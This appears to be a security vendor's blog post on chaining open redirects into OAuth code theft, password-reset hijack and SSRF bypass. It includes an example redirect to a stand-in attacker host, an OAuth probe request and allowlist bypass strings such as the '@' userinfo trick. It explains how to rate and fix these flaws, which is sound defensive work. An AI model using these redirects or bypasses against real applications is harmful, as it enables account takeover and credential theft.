AppSec · Jul 10, 2026 · 6 min read

Open-redirect chaining: from 302 to credential theft

A redirect to an attacker domain is reachable - the same mechanism leaking an OAuth authorization code to that domain is account takeover. Severity lives in the chain, not the 302.

A redirect parameter that accepts any URL looks like a low-severity UX mistake. What actually decides severity is the chain: an unconstrained redirect to an attacker-controlled host is a phishing aid. That same redirect carrying an OAuth authorization code to the attacker's server is account takeover that requires no user interaction once the code is in flight. The 302 is the mechanism; the chain is the finding.

01The redirect that looks harmless

Open redirects appear wherever an application routes users to different destinations after a shared step - login, logout, payment confirmation, email verification. A next, redirect_uri, returnTo or goto parameter is set by the caller, echoed into a Location header, and the browser follows it without inspection. Most frameworks produce this pattern naturally; most code reviewers skip it because the redirect appears intentional.

Attacker crafts: /login?next=https://attacker.example.com/steal Victim clicks ──► app authenticates user normally App issues ──► 302 Location: https://attacker.example.com/steal Browser follows ──► attacker host receives the request what arrives at attacker.example.com decides severity: bare request, no token in URL ──► phishing page (low-medium) ?code=OAUTH_AUTHZ_CODE ──► account takeover (high-critical) ?token=PWD_RESET_TOKEN ──► reset hijack (critical) internal target via trusted-domain ──► SSRF bypass (critical)
The redirect mechanism is the same in all four cases. The chain attached to it decides the finding severity.

Confirming a bare redirect requires only a controlled hostname in the Location header. Confirming an OAuth chain requires that the authorization code actually appears in the URL delivered to that host. Those are two different findings, two different confirming artifacts, and two different severities - and a scanner that stops at the first 302 conflates them.

02Three chains that change the rating

An open redirect rarely stops at a 302. The chains that escalate severity from low to critical share one property: the attacker collects the sensitive value without needing to interact with the victim's live session after the redirect fires. The value arrives in the URL before the user sees any attacker-controlled page.

ChainMechanismConfirming artifactSeverity
OAuth code redirectredirect_uri not validated against registered list; authorization server issues code to attacker-controlled hostcode= parameter received at nonce host in the Location redirectCritical
Password-reset hijackreset link built from a redirect parameter rather than a pinned base URL; one-time token travels to attacker hosttoken= parameter present in the redirect URL logged at nonce hostCritical
SSRF filter bypassSSRF allowlist permits redirects from a trusted domain; open redirect on that domain forwards to an internal or metadata targetinternal service or metadata response received through the chainCritical
Bare phishing redirectvictim lands on attacker page after authentication; no sensitive value travels in the URL itselfattacker host receives the request; no secret value in path or queryLow-Medium

03Confirming without touching real users

The probe uses a nonce endpoint under a domain the tester controls, which logs incoming requests, rather than real attack infrastructure. For a bare redirect the confirming artifact is the Location header. For an OAuth chain it is the authorization code that appears in the redirect URL when the flow completes with the tester's own test account - no victim credential is used, no real exchange runs.

oauth-chain-probe.httphttp
# step 1: start the OAuth flow; redirect_uri points to the nonce host
GET /oauth/authorize
    ?client_id=YOUR_CLIENT
    &redirect_uri=https://probe-62615533.aptest.internal/cb
    &response_type=code
    &state=nonce-abc
Host: auth.target.example

# step 2: tester authenticates with their own account; observe the 302
HTTP/1.1 302 Found
Location: https://probe-62615533.aptest.internal/cb?code=AUTHZ_CODE_HERE&state=nonce-abc

# authorization code arrived at the nonce host
# a real attacker exchanges it immediately for an access token

For the SSRF bypass chain, the probe sets the SSRF target to the open-redirect URL on the trusted domain, which in turn points to a benign nonce listener on an internal address. If the listener receives the request, the trusted-domain filter was bypassed without targeting a real internal service. No metadata endpoint is probed; only the redirect path is confirmed.

Proven - CriticalOAuth authorization code leak via open redirect - /oauth/authorize
GET /oauth/authorize?client_id=CLIENT&redirect_uri=https://probe-62615533.aptest.internal/cb&response_type=code&state=nonce-abc ──► 302 Location: https://probe-62615533.aptest.internal/cb?code=AUTHZ_CODE_HERE&state=nonce-abc redirect_uri accepted without allowlist check; code delivered to nonce host
Oracle: in-band Location header. Tested with the tester's own account; no victim session used. Severity critical - redirect_uri not validated against a registered list; the authorization code is exchangeable for an access token by any host that receives it.

04Severity follows what lands on the redirect target

A bare redirect is low to medium: it is a phishing aid that requires social engineering to convert. The moment a sensitive value travels in the URL to an attacker-controlled domain the severity changes - the attacker collects it without any real-time interaction with the victim after the initial click. The finding is rated at the confirmed chain, not at the redirect mechanism.

The fix is a server-side allowlist of permitted redirect destinations - not a blocklist of known-bad domains. A blocklist misses every domain registered after the check was written. For OAuth, the redirect_uri must match an exact registered value before the authorization code is issued. For post-login redirects, the application should derive the destination from a local path identifier rather than from a user-supplied absolute URL.

3
chains that escalate to critical
0
victim credentials used during the probe
1
allowlist check prevents all four variants

URL parsing differences across frameworks create allowlist bypass paths that are stack-specific. A redirect_uri of https://trusted.example.com@attacker.example.com sends the browser to attacker.example.com - the @ makes everything before it the userinfo field, not a hostname. Encoded slashes (%2F), Unicode normalization of lookalike characters, and open-path fragments (#) that a naive string-prefix check accepts produce similar bypasses. The allowlist check must parse the URL with the same parser the runtime uses, normalize it, and compare only scheme, host and port against the registered list - not the raw string the caller supplied.

Evidence over heuristicsReachable beats foundMonitor → Block: rolling out a gate without slowing teamsIaC-grounded threat modelingAir-gapped AppSec with no phone-homeOne platform vs three tools
See it on your own app →